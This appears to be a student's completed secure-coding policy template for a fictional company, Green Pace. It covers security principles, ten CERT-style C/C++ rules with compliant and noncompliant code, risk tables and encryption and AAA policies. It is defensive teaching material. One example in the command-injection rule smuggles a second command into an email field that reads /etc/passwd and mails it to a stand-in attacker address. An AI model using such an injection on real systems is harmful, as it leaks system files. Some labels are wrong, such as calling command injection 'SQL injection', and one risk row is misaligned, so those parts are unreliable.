**Green Pace Developer: Security Policy Guide Template**



Green Pace Secure Development Policy

Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

# Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

# Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

# Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

# Module Three Milestone

## Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Used to ensure data entering the workflow is correctly formed. This prevents malformed data from both entering the database. All potentially untrusted data should be processed by validating the input. |
| 1. Heed Compiler Warnings | When writing code and programming, the compilers are designed to warn about errors. Heeding these is just actively fixing and acknowledging these warnings. These warning are not intended to be annoying, but to assist the programmer in identifying often hard to spot errors on runtime. |
| 1. Architect and Design for Security Policies | Architect and design refer to designed artifacts which describe security countermeasures. A security policy statement describes how entities access each other. Also, the operations these entities can do is described. To add, the level of protection, which is required, and the actions to be taken when there is a lack of requirements met, are outlined in the policy. |
| 1. Keep It Simple | Straightforward principle which says that systems or designs should be as simple as possible. Avoiding complexity is the ideal approach. |
| 1. Default Deny | Deny by default. Unless an action or ability is specifically allowed, then it should be denied. This prevents unforeseen cases from potentially performing actions that are unintended and even malicious. |
| 1. Adhere to the Principle of Least Privilege | The least privilege is giving the user or accessor the least number of permissions necessary. A user should not be given permissions that are not necessary for their intended purposes. |
| 1. Sanitize Data Sent to Other Systems | Sanitizing data is taking data and cleaning it. Data should have unwanted characters removed or escaped before data is processed. Whenever a trust boundary is crossed by data, it should receive this “sanitation” before crossing that boundary. |
| 1. Practice Defense in Depth | Defense in depth refers to having multiple unrelated layers of security for a single attack. The idea is that if one layer of security fails, the next layer will be there to defend. |
| 1. Use Effective Quality Assurance Techniques | There are many QA techniques, but some of the most effective ones are the following: Test early and test often, define a process, and communicate rules and requirements. |
| 1. Adopt a Secure Coding Standard | Secure coding standards are rules and guidelines used to prevent vulnerabilities. Some examples of secure coding standards are, CERT, CVE, NVD, OWASP, and DISA STIG. |

## C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

### Coding Standard 1

| **Coding Standard** | **Label** | **Implement abstract data types using opaque types** |
| --- | --- | --- |
| **Data Type** | [DCL-012-C] | Abstract data types are more effective when used with private data types and information hiding. This can lead to poor portability. |

| **Noncompliant Code** |
| --- |
| The implementation of the string\_mx type is fully visible to the user of the data type after including the string\_m.h file. This violates the software engineering principle of information hiding and data encapsulation leading to less portable code. |
| struct string\_mx {  size\_t size;  size\_t maxsize;  unsigned char strtype;  char \*cstr;  };    typedef struct string\_mx string\_mx;    /\* Function declarations \*/  extern errno\_t strcpy\_m(string\_mx \*s1, const string\_mx \*s2);  extern errno\_t strcat\_m(string\_mx \*s1, const string\_mx \*s2);  /\* ... \*/ |

| **Compliant Code** |
| --- |
| In the external, header file, the string\_mx type is defined to the instance of struct string\_mx. However, in the internal header file, the struct string\_mx is fully defined but not visible to a user of the data abstraction. |
| External-  struct string\_mx;  typedef struct string\_mx string\_mx;    /\* Function declarations \*/  extern errno\_t strcpy\_m(string\_mx \*s1, const string\_mx \*s2);  extern errno\_t strcat\_m(string\_mx \*s1, const string\_mx \*s2);  /\* ... \*/  Internal-  struct string\_mx {  size\_t size;  size\_t maxsize;  unsigned char strtype;  char \*cstr;  }; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Default Deny – We deny access to these abstract types by keeping them private. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | P1 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-DCL12** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **104 D** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2021.1 | **CERT\_C-DCL12-a** | If a pointer to a structure or union is never dereferenced within a translation unit, then the implementation of the object should be hidden |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2021a | [CERT C: Rec. DCL12-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.dcl12c.html) | Checks for structure or union object implementation visible in file where pointer to this object is not dereferenced (rule partially covered) |

### Coding Standard 2

| **Coding Standard** | **Label** | **Ensure that unsigned integer operations do not wrap** |
| --- | --- | --- |
| **Data Value** | [INT-030-C] | When reaching the limit size of storage for a data value, the value will wrap around to the other end of the limit. This should especially not be used in any pointer arithmetic. |

| **Noncompliant Code** |
| --- |
| The noncompliant code uses two integers which and wrapping occurs during ui\_a + ui\_b, the value may be used to allocate insufficient memory for another operation. |
| void func(unsigned int ui\_a, unsigned int ui\_b) {  unsigned int usum = ui\_a + ui\_b;  /\* ... \*/  } |

| **Compliant Code** |
| --- |
| A precondition test is added, to test the operands of the addition and assure no unsigned wrapping has occurred. |
| void func(unsigned int ui\_a, unsigned int ui\_b) {  unsigned int usum;  if (UINT\_MAX - ui\_a < ui\_b) {  /\* Handle error \*/  } else {  usum = ui\_a + ui\_b;  }  /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** ValidateInput Data – Integer wrapping often occurs when users input data, therefore this data should be validated to not exceed limits and cause occurrences of unsigned integer wrapping. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | High | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 20.10 | integer-overflow | Fully checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=125337650) | 7.2.0 | CertC-INT30 | Implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2021.1 | CERT\_C-INT30-a CERT\_C-INT30-b CERT\_C-INT30-c | Avoid integer overflows Integer overflow or underflow in constant expression in '+', '-', '\*' operator Integer overflow or underflow in constant expression in '<<' operator |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2021a | [CERT C: Rule INT30-C](https://www.mathworks.com/help/bugfinder/ref/certcruleint30c.html) | Checks for:  Unsigned integer overflow  Unsigned integer constant overflow  Rule partially covered. |

### Coding Standard 3

| **Coding Standard** | **Label** | **Do not attempt to modify string literals** |
| --- | --- | --- |
| **String Correctness** | [STR-030-C] | String literals are typically stored in read-only memory, and therefore editing this leads to undefined behavior. |

| **Noncompliant Code** |
| --- |
| The char pointer str, is initialized to the address of a string literal. Attempting to modify the string literal is undefined behavior. |
| **char** \*str  = "string literal";  str[0] = 'S'; |

| **Compliant Code** |
| --- |
| In the compliant code, initializing this way, the string literal also defines the size of the array. This allows us to safely modify the char array str. |
| **char** str[] = "string literal";  str[0] = 'S'; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Adopt a Secure Coding Standard – By using secure coding standards, you will avoid modifying string literals. Standards will include rules similar to STR-030. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Likely | Low | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 157 S | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2021.1 | CERT\_C-STR30-a CERT\_C-STR30-b | A string literal shall not be modified Do not modify string literals |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | 489, 1776 | Partially supported |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2021a | [CERT C: Rule STR30-C](https://www.mathworks.com/help/bugfinder/ref/certcrulestr30c.html) | Checks for writing to const qualified object (rule fully covered) |

### Coding Standard 4

| **Coding Standard** | **Label** | **Sanitize data passed to complex subsystems** |
| --- | --- | --- |
| **SQL Injection** | [STR-002-C] | String data passed into another system can trigger actions that are unintended and lead to vulnerabilities. All data should be sanitized before passing into these sub-systems to prevent that. |

| **Noncompliant Code** |
| --- |
| This code uses an input email string as an argument in a call the system(). If the user passed in,  [bogus@addr.com; cat /etc/passwd | mail some@badguy.net](mailto:bogus@addr.com;%20cat%20/etc/passwd%20%20|%20mail%20some@badguy.net), information can be accessed inappropriately. |
| sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  system(buffer); |

| **Compliant Code** |
| --- |
| By creating a list of acceptable characters, the data can be sanitized and checked for unacceptable and risky characters that may allow SQL injection to occur. |
| static **char** ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"                           "1234567890\_-.@";  **char** user\_data[] = "Bad char 1:} Bad char 2:{";  **char** \*cp = user\_data; /\* Cursor into string \*/  const **char** \*end = user\_data + **strlen**( user\_data);  for (cp += **strspn**(cp, ok\_chars); cp != end; cp += **strspn**(cp, ok\_chars)) {    \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Sanitize Data Sent to Other Systems – sanitizing data prevents SQL injection. The area which handles the data will use different systems that cannot be exploited, compared to the final destination of the data. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2021.1 | [NNTS.TAINTED](https://support.roguewave.com/documentation/klocwork/en/current/certcandcsecurecodingstandardidsmappedtoklocworkcandccheckers/) [SV.TAINTED.INJECTION](https://support.roguewave.com/documentation/klocwork/en/current/certcandcsecurecodingstandardidsmappedtoklocworkcandccheckers/) |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 108 D, 109 D | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2021.1 | CERT\_C-STR02-a CERT\_C-STR02-b CERT\_C-STR02-c | Protect against command injection Protect against file name injection Protect against SQL injection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2021a | [CERT C: Rec. STR02-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.str02c.html) | Checks for:  Execution of externally controlled command  Command executed from externally controlled path  Library loaded from externally controlled path  Rec. partially covered. |

### Coding Standard 5

| **Coding Standard** | **Label** | **Explicitly construct and destruct objects when manually managing object lifetime** |
| --- | --- | --- |
| **Memory Protection** | [MEM-053-CPP] | When not using the new operator to allocate sufficient memory, memory is thought to be manually managed (the lifetime of the object) and should be deallocated and destroyed in the same manual manner. An object used outside of its lifespan is undefined behavior and can lead to errors. |

| **Noncompliant Code** |
| --- |
| A manual management of memory is occurring, due to the user provided construction, with a call to std::malloc(). The constructor for the object is never called, and this results in undefined behavior, when the class is accessed later by s->f(). |
| #include <cstdlib>    struct S {    S();      void f();  };    void g() {    S \*s = static\_cast<S \*>(std::**malloc**(sizeof(S)));      s->f();      std::**free**(s);  } |

| **Compliant Code** |
| --- |
| The constructor and destructor are both explicitly called. |
| #include <cstdlib>  #include <new>    struct S {  S();    void f();  };    void g() {  void \*ptr = std::malloc(sizeof(S));  S \*s = new (ptr) S;    s->f();    s->~S();  std::free(ptr);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Keep It Simple – when not explicitly constructing and destructing manually managed objects, complexity is greatly increased. Explicit statements will simplify the process and prevent errors from occurring. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2021.1 | C++4761, C++4762, C++4766, C++4767 |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2021.1 | CERT\_CPP-MEM53-a | Do not invoke malloc/realloc for objects having constructors |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/cplusplus/PVS-Studio) | 7.07 | [V749](https://www.viva64.com/en/w/v749/) |  |

### Coding Standard 6

| **Coding Standard** | **Label** | **Understand the termination behavior of assert() and abort()** |
| --- | --- | --- |
| **Assertions** | [ERR-006-C] | Because assert calls abort(), cleanup functions register with atexit() are not called. This can lead to errors in correct termination of the program leading to errors. |

| **Noncompliant Code** |
| --- |
| A function that is called before the program exits to clean up. The assert function if failed will exit before cleanup. |
| void cleanup(void) {  /\* Delete temporary files, restore consistent state, etc. \*/  }    int main(void) {  if (atexit(cleanup) != 0) {  /\* Handle error \*/  }    /\* ... \*/    assert(/\* Something bad didn't happen \*/);    /\* ... \*/  } |

| **Compliant Code** |
| --- |
| If statements are used in place of assert to allow the cleanup to occur and ensure proper termination routines. |
| void cleanup(void) {    /\* Delete temporary files, restore consistent state, etc. \*/  }    **int** main(void) {    if (**atexit**(cleanup) != 0) {      /\* Handle error \*/    }      /\* ... \*/      if (/\* Something bad happened \*/) {  **exit**(EXIT\_FAILURE);    }      /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Use Effective Quality Assurance Techniques – Understanding assert and abort functions is key to using QA techniques. Assert is often called to test software in early iterations, aligning with this principle. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Unlikely | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Tool | Version | Checker | Description |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/c/Rose) |  |  | Can detect some violations of this rule. However, it can only detect violations involving abort() because assert() is implemented as a macro |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 44 S | Enhanced enforcement |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2021.1 | CERT\_C-ERR06-a | Do not use assertions |

### Coding Standard 7

| **Coding Standard** | **Label** | **Handle all exceptions** |
| --- | --- | --- |
| **Exceptions** | [ERR-051-CPP] | All exceptions thrown must be caught by a matching exception handler, or the stack may not unwind correctly due to std::abort() being called so destructors may not be called. |

| **Noncompliant Code** |
| --- |
| Neither f() nor main() catch exceptions thrown by throwing\_func(). |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  f();  } |

| **Compliant Code** |
| --- |
| Handles all exceptions, making sure the stack is unwound. |
| void throwing\_func() noexcept(false);    void f() {    throwing\_func();  }    **int** main() {    try {      f();    } catch (...) {      // Handle error    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Heed Compiler Warnings – Exceptions often relate to the compiler. For example, catching exceptions is important to allow the compiler to unwind the stack in a safe manner. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | 527 S | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2021.1 | CERT\_CPP-ERR51-a CERT\_CPP-ERR51-b | Always catch exceptions Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2020a | [CERT C++: ERR51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcerr51cpp.html) | Checks for unhandled exceptions (rule partially covered) |
| [PRQA QA-C++](https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=142409849) | 4.4 | 4035, 4036, 4037 |  |

### Coding Standard 8

| **Coding Standard** | **Label** | **Do not delete a polymorphic object without a virtual destructor** |
| --- | --- | --- |
| Polymorphic Object | [OOP-052-CPP] | Deleting an object through a pointer to a type without a virtual destructor results in undefined behavior. |

| **Noncompliant Code** |
| --- |
| The implicitly declared destructor is not declared as virtual in the presence of other virtual functions. |
| struct Base {    virtual void f();  };    struct Derived : Base {};    void f() {    Base \*b = new Derived();    // ...    delete b;  } |

| **Compliant Code** |
| --- |
| The destructor for base is declared explicitly as a virtual destructor. This guarantees that the polymorphic delete operation will have well-defined behavior. |
| struct Base {  virtual ~Base() = default;  virtual void f();  };    struct Derived : Base {};    void f() {  Base \*b = new Derived();  // ...  delete b;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Adopt a Secure Coding Standard – Using the coding standards will help avoid errors like, not calling a virtual destructor when dealing with polymorphic types. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Likely | Low | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | 303 S | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2021.1 | CERT\_CPP-OOP52-a | Define a virtual destructor in classes used as base classes which have virtual functions |
| [PRQA QA-C++](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88046345) | 4.4 | 3402, 3403, 3404 |  |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2020a | [CERT C++: OOP52-CPP](https://www.mathworks.com/help/bugfinder/ref/certcoop52cpp.html) | Checks for situations when a class has virtual functions but not a virtual destructor (rule partially covered) |

### Coding Standard 9

| **Coding Standard** | **Label** | **Use correct integer precisions** |
| --- | --- | --- |
| Integer Precision | [INT-035-C] | An integer’s size is contributed by the padding bits, but this does not inherently carry over to the precision. This can lead to incorrect assumptions about the numeric range of these types. |

| **Noncompliant Code** |
| --- |
| If this code runs on a platform where unsigned int has one or more padding bits, it can result in a value for exp that are too large. |
| #include <limits.h>    unsigned int pow2(unsigned int exp) {  if (exp >= sizeof(unsigned int) \* CHAR\_BIT) {  /\* Handle error \*/  }  return 1 << exp;  } |

| **Compliant Code** |
| --- |
| Using popcount() function allows the code to determine the precision of any integer type, signed or unsigned. This function will do this by counting the number of bits set on any unsigned integer. |
| #include <stddef.h>  #include <stdint.h>    /\* Returns the number of set bits \*/  size\_t popcount(uintmax\_t num) {  size\_t precision = 0;  while (num != 0) {  if (num % 2 == 1) {  precision++;  }  num >>= 1;  }  return precision;  }  #define PRECISION(umax\_value) popcount(umax\_value) |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** ValidateInput Data – Assumptions with input data can lead to errors. This principle ties in as the focus is on using less assumptions with data handling, and in this case integer precision. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Medium | P2 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 20.10 |  | Supported: Astrée reports overflows due to insufficient precision. |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2021.1 | C0582  C++3115 |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2021.1 | CERT\_C-INT35-a | Use correct integer precisions when checking the right hand operand of the shift operator |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2021a | [CERT C: Rule INT35-C](https://www.mathworks.com/help/bugfinder/ref/certcruleint35c.html) | Checks for situations when integer precisions are exceeded (rule fully covered) |

### Coding Standard 10

| **Coding Standard** | **Label** | **Do not confuse narrow and wide character strings and functions** |
| --- | --- | --- |
| Buffer Overflow | [STR-038-C] | Passing narrow to wide or wide to narrow string functions can lead to undefined behavior. |

| **Noncompliant Code** |
| --- |
| Using strnpy() function attempts to copy up to 10 wide characters. Since the wide characters can contain null byes, the copy operation may end earlier than anticipated, and the result is a truncation of the wide string. |
| #include <stddef.h>  #include <string.h>    void func(void) {  **wchar\_t** wide\_str1[]  = L"0123456789";  **wchar\_t** wide\_str2[] =  L"0000000000";    **strncpy**(wide\_str2, wide\_str1, 10);  } |

| **Compliant Code** |
| --- |
| Using wcsncpy() for wide character strings and strncpy() for narrow character strings ensures that data is not truncated, and buffer overflow does not occur. |
| #include <string.h>  #include <wchar.h>    void func(void) {  wchar\_t wide\_str1[] = L"0123456789";  wchar\_t wide\_str2[] = L"0000000000";  /\* Use of proper-width function \*/  wcsncpy(wide\_str2, wide\_str1, 10);    char narrow\_str1[] = "0123456789";  char narrow\_str2[] = "0000000000";  /\* Use of proper-width function \*/  strncpy(narrow\_str2, narrow\_str1, 10);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Keep It Simple – Confusion with wide and narrow character strings can occur when programs add too much complexity. By keeping it simple, this type of confusion can be avoided. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| STR38-C | High | Likely | Low | P27 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2021.1 | C0432  C++0403 |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2021.1 | CERT\_C-STR38-a | Do not confuse narrow and wide character strings and functions |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | 2454, 2480, 2481 | Partially supported: reports illegal conversions involving pointers to char or wchar\_t as well as byte/wide-oriented stream inconsistencies |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2021a | [CERT C: Rule STR38-C](https://www.mathworks.com/help/bugfinder/ref/certcrulestr38c.html) | Checks for misuse of narrow or wide character string (rule fully covered) |

## Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



# Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

## Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

## Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

## Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

## Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

Automation will enforce standards in several areas within the existing DevOps. Consider pre-production. A major automation factor can exist in the verify and test phase. We may implement powerful unit testing tools. During these testing phases, tools such as QUnit can be implemented to break built code into testable sections. Through this unit testing, the next round of assessment and planning can be made more efficient through unit testing experiences.

In the production phase, we may automate penetration tests. Utilizing automated software, we can enforce a level of consistent security testing, of product quality. Finally, for monitoring and detection within the production phase, log notifications and risky events may have automatic alerts. By automating this process, full time coverage can be utilized, and problems or alerts can be addressed as they occur.

## Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| STD-001-CPP | High | Unlikely | Medium | High | 2 |
| DCL-012-C | Low | Unlikely | High | P1 | L3 |
| INT-030-C | High | Likely | High | P9 | L2 |
| STR-030-C | Low | Likely | Low | P9 | L2 |
| STR-002-C | High | Likely | Medium | P18 | L1 |
| MEM-053-CPP | High | Likely | Medium | P18 | L1 |
| ERR-006-C | Medium | Unlikely | Medium | P4 | L3 |
| ERR-051-CPP | Low | Probable | Medium | P4 | L3 |
| OOP-052-CPP | Low | Likely | Low | P9 | L2 |
| INT-035-C | Low | Unlikely | Medium | P2 | L3 |
| STR-038-C | High | Likely | Low | P27 | L1 |

## Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption in rest | Ensure that data is encrypted when on a disk. This policy applies as it is used to secure sensitive data. If an attacker obtains a hard drive (perhaps internally) with sensitive data, the attacker still requires encryption keys to utilize that data. |
| Encryption at flight | Ensure that data is encrypted while being transmitted. Data must be passed from place to place at some point. To secure this transmitted data, encryption at flight must be utilized. Often attackers may look to use cloud connection, wifi-esq vulnerabilities to access data mid transfer. If this data is sensitive, it must be encrypted. |
| Encryption in use | Ensure that sensitive data is encrypted at all stages. Encryption in use ensures that data never is unsecured. This policy applies, that it practices defense in depth. Each gateway for attack has multiple layers of defense. These defensive layers are constantly at work |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Authentication involves confirming the right person is accessing the system. By proving authentication, a user is providing the system a way to reject or accept them based on acceptable criteria. This policy applies to any user who attempts to access sensitive data. An authentication system should be put in place as one of the first layers of defense. |
| Authorization | Authorization refers to an authenticated user’s rights and privileges. This policy applies as, a user should only be given authorization to meet the minimum needs required. By limiting the amount of accessibility, less trusted individuals have less resources to potentially cause harm to the system. |
| Accounting | Accounting is monitoring activities and recording actions for compliance and security purposes. Accounting is a crucial step. Through accounting, risky behavior can be addressed early before damage is done. Accountability can be pursued on users within the system, as proof of actions is available. Lastly, successful attackers can leave a trail which shows the error or exploitable portions of the system. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

## Map the Principles

